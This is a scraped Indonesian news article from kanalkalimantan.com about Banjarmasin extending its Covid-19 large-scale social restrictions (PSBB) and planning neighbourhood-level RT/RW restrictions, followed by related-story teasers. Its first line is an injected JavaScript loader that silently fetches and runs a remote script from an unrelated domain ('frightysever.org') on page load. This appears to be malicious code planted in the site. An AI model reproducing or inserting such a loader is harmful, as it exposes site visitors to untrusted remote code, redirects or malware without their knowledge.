(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Perpanjangan pemberlakuan Pembatasan Sosial Berskala Besar (PSBB) tahap ketiga di kota Banjarmasin, Pemerintah Kota (Pemko) akan membuat kebijakan pembatasan tingkat RT/RW di lingkungan warga.
Wali Kota Banjarmasin H Ibnu Sina mengatakan, PSBB tahap ketiga kali ini jajarannya juga akan membuat kebijakan Pembatasan Sosial Berskala Kecil (PSBK) tingkat RT/RW hingga kelurahan di kota Banjarmasin. Menurutnya, PSBK tersebut akan merangkul masyarakat untuk ikut serta dalam mengawasi jalannya pembatasan aktivitas warga.
Hal itu dilakukan agar masyarakat lebih disiplin dalam mematuhi seluruh peraturan yang sudan tertuang dalam Perwali Pasal 18 tahun 2020.
“Minimal di sekitar tempat tinggal mereka akan lebih aktif dalam pelaksanaan Poskamling dan penjagaan lainnya terkait dari segi pengamanan lingkungan,” ucapnya dalam video conference usai rapat evaluasi PSBB tahap kedua bersama Tim Gugus Tugas Percepatan Penanganan Covid-19 kota Banjarmasin, Kamis (21/5/2020) malam.
Selain itu, dia mengimbau masing-masing komplek membuat aturan dalam pengetatan keamanan kompleknya, seperti pembatasan orang yang berkunjung ke dalam komplek atau permukiman. Misalnya, warga tidak boleh seenaknya keluar masuk komplek. “Intinya harus ada penjagaan di komplek atau lingkungan masyarakat setempat,” ujarnya.
Ia mengaku, dalam waktu dekat pihaknya akan menyampaikan hal tersebut kepada masing-masing Camat dan Lurah serta Babinsa dan Bhabinkamtibmas agar lebih memberdayakan masyarakat di sekitar dalam pengamanan lingkungannya sendiri.
“Tapi tentu kita sebagai Pemerintah Kota tidak akan lepas tangan, TNI-Polri dan Satpol-PP akan tetap bersama-sama dengan masyarakat dalam upaya mencegah penyebaran Covid-19 ini,” jelasnya.
Dengan demikian, ia berharap pada PSBB tahap ketiga ini, Tim Gugus Tugas Percepatan Penanganan Covid-19 Kota Banjarmasin masih bisa menekan penyebaran angka kasus Covid-19. Dengan sosialisasi yang lebih masif agar dapat membantu meningkatkan kesadaran masyarakat akan pentingnya bahaya Covid-19.
“Sehingga masyarakat kita akan semakin taat untuk menggunakan masker dan juga protokol kesehatan,” pungkasnya. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More
KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More
This website uses cookies.